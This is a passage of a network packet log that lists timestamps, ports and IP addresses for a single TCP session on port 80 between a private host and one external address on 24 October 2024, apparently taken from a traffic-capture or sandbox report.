Oct 24, 2024 04:57:46.739739895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739758015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739761114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.739773989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.739794970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.740117073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.740129948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.740156889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.740195036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.740211010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.740225077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.740236998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.740262985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.819900036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.819941044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.819977999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.819984913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.858849049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.858865976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.858881950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.858897924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.858936071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.858954906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859042883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859056950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859081984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.859091043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859105110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859127045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.859251022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859266043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859281063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.859288931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.859330893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.902050972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.902067900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.902084112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.902128935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.938796997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.938839912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.938853979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.978144884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978180885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978244066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.978252888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978287935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978337049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.978343964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978379965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978384018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.978693962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978727102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.978743076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:46.978765965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:46.979029894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.021543980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.021591902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.021629095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.021675110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.064688921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.097424984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097459078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097496033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097536087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097564936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.097573996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097606897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097610950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.097714901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097749949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097763062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.097785950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097786903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.097933054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.097961903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.098007917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.098086119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.098119020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.098151922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.098165989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.098193884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499159098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499202013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499241114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499278069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499278069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499324083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499335051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499373913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499409914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499444008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499466896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499495983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499510050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499528885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499567986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499599934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499610901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499634027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499645948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.499667883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499706030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.499748945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500287056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500338078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500384092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500417948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500443935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500448942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500507116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500515938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500643969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500679016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500701904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500711918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500744104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500780106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500833988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500833988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500842094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.500889063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.500936031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501077890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501111984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501167059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501185894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501220942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501252890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501269102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501328945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501362085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501365900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501398087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501435041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501458883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501492977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501521111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501605034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.501605034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.501643896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.574902058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.574960947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.574974060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.574985981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.575010061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.575059891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.575088978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.575100899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.575149059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.617295027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.617347002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.617384911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.617403030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.618886948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.618921995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.618937016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.618957043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.618993044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.619019032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.673998117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.694216013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.694252968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.694288015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.694360971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.736526012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.736581087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.736613989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.736641884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.738085985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738116026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738148928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.738168955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738204002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738214970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.738238096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738276005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.738321066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.890216112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.890252113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.890275955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.890300989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:47.890309095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:47.890361071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293224096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293303013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293354034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293389082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293417931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293422937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293451071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293457985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293493032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293528080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293544054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293570995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293699026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293751001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293796062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293801069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293834925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293868065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293878078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.293901920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293935061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293970108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.293982029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.294333935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.294811010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.294846058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.294922113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.294982910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295017958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295053005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295084953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295094013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.295120001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295156002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295162916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.295201063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.295538902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295572042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295608997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.295639038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.337937117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.337954998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.337984085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.392746925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.491722107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491739035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491750002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491760969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491772890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491784096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491785049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.491796970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491811037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491817951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.491825104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.491864920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.492072105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.492177010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.492209911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.532736063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.532779932 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.532895088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.577769995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.577785969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.577874899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.578896999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.578910112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.578946114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.610750914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.610764027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.610815048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.652262926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.652280092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.652327061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.847835064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847856998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847872972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847887993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847903967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847918987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847927094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.847928047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.847939014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847955942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.847965956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.848006964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.889229059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.889245033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.889306068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.936963081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.936976910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.937028885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:48.967232943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.967278957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:48.967466116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.054028988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.054091930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.054306030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.086533070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.086553097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.086569071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.086647987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.086658001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.086675882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.086699009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.127159119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.205914974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.205941916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.205959082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.205975056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.205991030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.206005096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.206007004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.206048965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.206065893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.444509029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444588900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444606066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444619894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444634914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444644928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.444655895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444663048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.444720030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.444750071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444763899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.444814920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.445806980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.445820093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.445858955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.563733101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.563749075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.563849926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.564915895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.564925909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.564975977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.717133045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.717156887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.717175961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.717194080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.717207909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.717226028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.717248917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.803395987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.803416014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.803553104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.836976051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.836996078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.837090015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.955596924 CEST	80	49774	185.215.113.16	192.168.2.6
